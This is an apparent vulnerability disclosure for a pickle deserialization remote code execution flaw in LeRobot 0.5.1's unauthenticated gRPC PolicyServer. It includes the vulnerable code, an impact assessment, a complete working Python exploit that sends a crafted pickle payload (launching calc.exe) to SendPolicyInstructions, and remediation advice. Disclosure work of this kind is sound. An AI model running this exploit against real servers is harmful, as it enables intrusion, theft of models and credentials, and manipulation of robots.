LeRobot - Version 0.5.1 / Remote Code Execution (RCE) via Insecure Deserialization based on sink pickle.loads and request.data point in PolicyServer
Below are one (1) way to reproduce RCE in LeRobot using a remote exploit controlled by an attacker (via web), without local intervention by a third party to modify files that allow code execution during the deserialization process.
For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).
Note: While this vulnerability is specifically verified and reported on version 0.5.1, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.
Introduction
LeRobot is Hugging Face's open-source library for state-of-the-art Real-world Robotics. It provides models, datasets, and simulation environments designed to democratize access to robotics AI research, allowing researchers and developers to train policies on simulation environments and transfer them directly to physical robots.
A core component of distributed robotics learning architectures is the Learner node, which coordinates policy optimization across multiple physical robot clients (Actors). Safe design of transport pipelines is crucial for preventing host machine compromise and physical control hijacking.
Vulnerability description
The PolicyServer in LeRobot v0.5.1 is an unauthenticated gRPC service used for remote robot policy inference. The server implements two critical entry points, SendPolicyInstructions and SendObservations, both of which process incoming byte streams using the insecure pickle.loads function.
Because the gRPC service is unauthenticated and uses add_insecure_port, any network-adjacent attacker can send a serialized malicious Python object. Upon reconstruction, this object can execute arbitrary commands in the context of the server process. This bypasses the typical "self-command-injection" restriction of pickle vulnerabilities as it enables remote execution without requiring local file system access.
The vulnerable code in lerobot/async_inference/policy_server.py:
def SendPolicyInstructions(self, request: services_pb2.PolicySetup, context: grpc.ServicerContext):
# TODO: authorize the request
...
policy_specs = pickle.loads(request.data) # nosec
Technical Impact Analysis
Project Purpose & Context
LeRobot is a framework developed by Hugging Face for robotics research, enabling the training and deployment of policies for various robot hardware. It is designed for high-performance inference, often separating the heavy computation (GPU-based Policy Server) from the physical robot client (Edge device), making the network-based communication protocol a critical security boundary.
Platform & Deployment Environment
The framework is cross-platform (Linux/Windows) and typically deployed in robotic research labs, universities, and industrial prototyping environments. Instances often run on local networks or specialized robot-to-server WLANs where gRPC services are exposed to facilitate real-time control.
Comprehensive Risk Assessment
The risk is classified as **Critical**. The ability to execute remote code on the inference server allows for the theft of proprietary models, poisoning of training data, and potential lateral movement into high-value research infrastructure (e.g., Hugging Face Hub accounts, Weights & Biases projects). Furthermore, in a connected robotics environment, an attacker could potentially manipulate the physical behavior of a robot by compromising the server that dictates its actions.
Attack Scenario
Who wants to exploit a particular vulnerability?
Threat actors interested in industrial espionage, competitors seeking model weights/architectures, or individuals aiming to sabotage robotic research operations.
For what gain?
High-fidelity access to model weights, exfiltration of sensitive training datasets, or the ability to implement persistent backdoors within autonomous robotic systems.
In what way?
By sending a single, malformed gRPC request to the PolicyServer port (default 8080). This request contains a pickle payload that executes an OS command (e.g., opening a reverse shell or exfiltrating environment variables) the moment the server attempts to "setup" the policy or "receive" an observation.
Reproduction steps
On Windows (victim) - IP 192.168.1.88
(.venv) PS L:\Deserializer\PYPI-lerobot> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88
1. Create a .venv, activate it, and install the latest updated version (0.5.1) of LeRobot using pip install lerobot.
2. Additionally, it is necessary to install grpcio and protobuf to create a complete testing environment: pip install grpcio protobuf.
3. And then lauch the Policy Server:
python -m lerobot.async_inference.policy_server --host 0.0.0.0 --port 8080
On the Raspberry (attacker) - IP 192.168.1.90
kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90
Create a file named exploit.py with the following content:
import grpc
import pickle
import os
import sys
# Ensure the lerobot transport modules can be imported
# Adjust the path if necessary depending on your environment
from lerobot.transport import services_pb2, services_pb2_grpc
class RCE:
def __reduce__(self):
# Best Practice: Use 'eval' for self-containment and 'or {}'
# to ensure the unpickler returns a safe object type (dict).
# This prevents immediate application crashes after RCE.
return (eval, ("__import__('os').system('calc.exe') or {}",))
def exploit(target_ip="127.0.0.1", target_port=8080):
print(f"[*] Connecting to {target_ip}:{target_port}...")
# Generate the malicious payload
payload = pickle.dumps(RCE())
# Create the gRPC channel and stub
channel = grpc.insecure_channel(f"{target_ip}:{target_port}")
stub = services_pb2_grpc.AsyncInferenceStub(channel)
# Vector #1 targets 'SendPolicyInstructions' or 'SendObservations'
# Here we use SendPolicyInstructions (Request type: PolicySetup)
print("[*] Sending malicious PolicySetup...")
request = services_pb2.PolicySetup(data=payload)
try:
# Trigger the vulnerable pickle.loads(request.data)
stub.SendPolicyInstructions(request)
print("[+] Request sent. Check target for execution.")
except grpc.RpcError as e:
# Code execution happens before the response is returned.
# A Crash or error here is often a sign of successful exploitation.
print(f"[!] Server responded with error (RCE likely triggered): {e.details()}")
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
exploit(target)
Run the exploit to trigger the RCE:
python exploit.py 192.168.1.88
Executive Summary: RCE via Insecure Pickle Deserialization in LeRobot LearnerService
The research identifies a critical Remote Code Execution (RCE) vulnerability in the PolicyServer component of LeRobot v0.5.1.
- Root Cause: The
PolicyServerimplements unauthenticated gRPC entry points (SendPolicyInstructionsandSendObservations) that process incoming byte streams using the inherently insecurepickle.loadsfunction. - Exploitation Mechanism: By establishing a gRPC connection to the default port (8080), any network-adjacent attacker can transmit a crafted, malicious serialized Python object. The server automatically deserializes this payload upon receipt, resulting in immediate execution of arbitrary commands in the context of the server process.
Analysis of Scope and Security Implications
This vulnerability is of critical severity, as it bypasses traditional security boundaries by enabling remote execution without requiring local file system access.
1. Infection Scenarios
- Distributed Infrastructure Hijacking: In
LeRobotdeployments, thePolicyServertypically acts as the central compute node for robotic research. An attacker with network access to the service port can execute arbitrary code on high-performance machines hosting training or inference tasks. - Robot-to-Server Pivot: Since the service is unauthenticated, any device on the network can interact with the server. A compromised edge device (e.g., a robot controller) can be used as a vector to propagate the exploit to the central inference server.
2. Factors Exacerbating Risk
- Zero Authentication: The gRPC service is deployed with
add_insecure_portand lacks authentication, allowing any network-adjacent actor to trigger the vulnerablepicklesink. - Target Environment Value: These systems often process high-value data, including proprietary model weights, training datasets, and cloud service credentials (Hugging Face, Weights & Biases), all of which become accessible to an attacker.
- Physical Manipulation: By compromising the server that dictates autonomous robot behavior, an attacker could potentially manipulate the physical actions of connected robotic hardware.
Conclusion and Recommendation
This is a critical-severity vulnerability. The combination of network-exposed gRPC services and pickle-based deserialization creates a direct path for complete system compromise.
Suggested actions for the development team:
- Remove Pickle: Immediately replace the
pickle.loadssink inSendPolicyInstructionsandSendObservationswith a secure, non-executable data serialization format, such asProtobuformsgpack(with strict type validation). - Implement Authentication: Add mandatory authentication mechanisms (e.g., mutual TLS) to the gRPC service endpoints to prevent unauthorized access.
- Input Validation: Implement rigorous allow-listing and integrity signatures to ensure that only expected data structures are processed by the service.